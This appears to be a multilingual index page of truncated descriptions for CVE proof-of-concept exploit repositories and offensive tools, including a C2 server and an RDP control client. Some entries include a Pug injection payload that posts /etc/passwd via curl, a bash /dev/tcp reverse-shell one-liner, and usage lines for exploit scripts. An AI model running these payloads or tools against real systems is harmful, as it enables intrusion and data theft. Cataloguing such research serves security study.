CVE-2025-0690

CVE-2025-0690: ثغرة تجاوز الأعداد الصحيحة في GRUB2 🛡️ نظرة عامة CVE-2025-0690 هي ثغرة حرجة من نوع تجاوز الأعداد الصحيحة في مُحمِّل الإقلاع GRUB2 ، تتيح تنفيذ كود تعسفي وتجاوز Secure Boot. يؤثر هذا الخلل على الأنظمة التي تعتمد على GRUB2 للإقلاع الآمن، مما يعرّض النظام للخطر قبل بدء تشغيل نظام...

CVE-2026-38945

CVE-2026-38945 लेखक: Rafael José Núñez Gulías कंपनी: Iberian Var Group प्रभावित उत्पाद: RayVentory Scan Engine 12.6 Update 8 and previous versions Raynet सलाह: RSEC200967 rvia Raynet में एक find कमांड को अनुचित रूप से समाप्त खोज मानदंडों के साथ निष्पादित करता है ताकि oracle विकल्प आह्वान किए जाने...

CVE-2024-12828-PoC

CVE-2024-12828-PoC Vulnérabilité d'injection de commande CGI et d'exécution de code à distance dans Webmin...

CVE-2025-34028-PoC-Commvault-RCE

CVE-2025-34028 - Commvault Command Center में दूरस्थ कोड निष्पादन CVE-2025-34028 के लिए एक Python एक्सप्लॉइट, Commvault Command Center में दूरस्थ कोड निष्पादन भेद्यता। यह उपकरण एकल लक्ष्यों का परीक्षण या एकाधिक होस्टों को थोक में स्कैन करने की अनुमति देता है। विशेषताएँ एकल लक्ष्य या थोक स्कैनिंग...

PUG-RCE-CVE-2021-21353-POC

PUG-RCE CVE-2021-21353 POC معلومات الثغرة رقم CVE : cve-2021-21353 درجة CVSS : 8.1 pugversion ';=' ?pretty=';process.mainModule.constructor.load'childprocess'.exec'curl -X POST -d "$cat /etc/passwd" ';='...

CVE-2017-11882-

CVE-2017-11882 43b मूल स्क्रिप्ट https://github.com/embedi/CVE-2017-11882 से है 109b मूल स्क्रिप्ट https://github.com/unamer/CVE-2017-11882/ से है एक सलाम, अब unamer का कोड shellcode निष्पादित कर सकता है CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE...

CVE-2016-10033

CVE2016-10033 शोषण PoC यह रिपॉजिटरी वर्डप्रेस के एक असुरक्षित संस्करण पर CVE2016-10033 का शोषण करने के लिए आवश्यक फ़ाइलें रखता है। इन निर्देशों के साथ आप Apache सर्वर चलाने वाले उपयोगकर्ता के रूप में WordPress चलाने वाले कंटेनर में एक रिवर्स इंटरैक्टिव शेल Pseudo-TTY नहीं प्राप्त करने में सक्षम...

CVE-2017-11882

CVE-2017-11882 CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882 MITRE CVE-2017-11882: https://vulners.com/cve/CVE-2017-11882 بحث: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about تحليل التصحيح:...

hubble

हब्बलस्टैक में आपका स्वागत है!! आप यहाँ एक मुद्दा दर्ज कर सकते हैं here हमें ट्विटर पर फॉलो करें! विकास नीचे एक dev वातावरण सेटअप करने के लिए नमूना निर्देश दिए गए हैं: 1. virtualenv myvirtualenv 2. source myvirtualenv/bin/activate 3. pip install -r requirements.txt 4. sudo python setup.py develop...

CVE-2022-30525

CVE-2022-30525 ثغرة حقن الأوامر في جدار حماية Zyxel CVE-2022-30525 POC&EXP المؤلف: 160team.west9B يُستخدم فقط من قبل باحثي الأمن بإذن، مع الامتثال لقانون الأمن السيبراني. أي مشاكل تنشأ، تكون على مسؤوليتك الخاصة، ولا يتحمل المؤلف أي مسؤولية. 01-مقدمة أساسية في 12 مايو 2022، أصدرت Zyxel إعلانًا...

CVE-2024-29973

CVE-2024-29973 PoC और बल्क स्कैनर अवलोकन यह CVE-2024-29973 के लिए एक प्रूफ-ऑफ-कॉन्सेप्ट PoC और बल्क स्कैनर है: Zyxel NAS326 फर्मवेयर संस्करण V5.21AAZF.17C0 से पहले और NAS542 फर्मवेयर संस्करण V5.21ABAG.14 से पहले कमांड इंजेक्शन भेद्यता। संस्करण 1.0.2 - पेलोड तंत्र को ठीक किया गया। इसका उल्लेख करने...

evilrdp

🚩 प्रायोजक अगर आपको यह प्रोजेक्ट पसंद है, तो कृपया इसे GitHub पर प्रायोजित करने पर विचार करें! प्रायोजक EVILRDP - RDP पर अधिक नियंत्रण यह aardwolfgui का बुरा जुड़वां है, जो aardwolf RDP क्लाइंट लाइब्रेरी का उपयोग करता है और आपको लक्ष्य पर विस्तारित नियंत्रण और कमांड लाइन से अतिरिक्त स्क्रिप्टिंग...

RedbloodC2

Redblood C2 का सार्वजनिक संस्करण This is a simple command and control server to handle sessions and your victims स्थापना $ git clone https://github.com/kira2040k/RedbloodC2.git $ cd RedbloodC2 $ npm install $ node server.js उपयोग After install node.js and and all modules from npm execute: node...

CVE-2022-46169_unauth_remote_code_execution

CVE-2022-46169 - Cacti में बिना प्रमाणीकरण के रिमोट कोड निष्पादन Cacti 1.2.23 और 1.3.0 में प्रमाणीकरण बाईपास और कमांड इंजेक्शन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन अस्वीकरण: यह स्क्रिप्ट सिस्टम की सुरक्षा का ऑडिट करने के लिए बनाई गई है। इस स्क्रिप्ट का उपयोग केवल अपने स्वयं के सिस्ट...

CVE-2024-55963

CVE‑2024‑55963 Appsmith RCE PoC استغلال إثبات المفهوم لثغرة CVE‑2024‑55963 الذي ينفذ أوامر عشوائية أو يفتح قشرة عكسية على نسخ Appsmith القابلة للاستغلال. يتعامل تلقائيًا مع كل من الخوادم الحديثة التي تحمل ميزة environmentId والإصدارات الأقدم كثيرًا من نوع “legacy” التي تسبق ظهورها، بحيث يمكنك...

CVE-2022-1388

CVE-2022-1388 CVE-2022-1388 POC एक्सप्लॉइट उपयोग usage: exploit.py -h -t TARGET -l LIST -c COMMAND optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET The IP address of the target, eg: 127.0.0.1:9443 -l LIST, --list LIST List of target url saperated with new...

CVE-2024-4577

CVE-2024-4577 usage: CVE-2024-4577.py -h -v RHOST RPORT URL COMMAND PHP CGI CVE-2024-4577 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2024-4577 positional arguments: RHOST remote host RPORT remote port URL target address COMMAND command to execute e.g. optional arguments: -h, --help show...

CVE-2009-4623

उन्नत टिप्पणी प्रणाली 1.0 - दूरस्थ कमांड निष्पादन RCE https://nvd.nist.gov/vuln/detail/CVE-2009-4623 उदाहरण python3 exploit.py http://127.0.0.1 uname -a python3 exploit.py http://127.0.0.1 'bash -i & /dev/tcp/127.0.0.1/443 0&1'...

mcp-server-attestation

جزء منمجموعة أدوات StudioMeyer MCP — بُنِي في مايوركا 🌴 · ⭐ إذا استخدمته mcp-server-attestation تقوية سلسلة التوريد من المستوى الثاني لخوادم بروتوكول سياق النموذج MCP. بيانات أدوات موقعة بـ Ed25519، توثيق وقت التشغيل للـ spawn، مصفف وسائط رفض افتراضي. رد مباشر على: تسمم سوق OX Security، أبريل 202...

CVE-2018-1000861

CVE-2018-1000861 CVE-2018-1000861 का शोषण करने के लिए सरल स्क्रिप्ट, Python 3 में लिखी गई उपयोग: usage: exploit.py -h -u URL -c CMD -r -i IP -p PORT -v options: -h, --help show this help message and exit -u URL, --url URL Target Jenkins server -c CMD, --cmd CMD Command to execute -r, --revshell...